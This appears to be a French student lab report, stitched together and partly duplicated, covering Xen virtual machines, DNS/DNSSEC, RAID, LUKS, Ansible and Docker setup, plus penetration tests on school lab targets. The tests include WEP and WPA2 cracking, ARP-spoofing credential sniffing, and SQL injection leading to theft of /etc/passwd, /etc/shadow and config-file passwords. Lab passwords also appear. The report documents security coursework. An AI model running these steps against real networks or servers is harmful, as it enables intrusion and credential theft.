Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des "apt install" et ne plus être considéré comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeurs en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T15:09:45Z

Psanchez : /* Architecture de la ferme */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
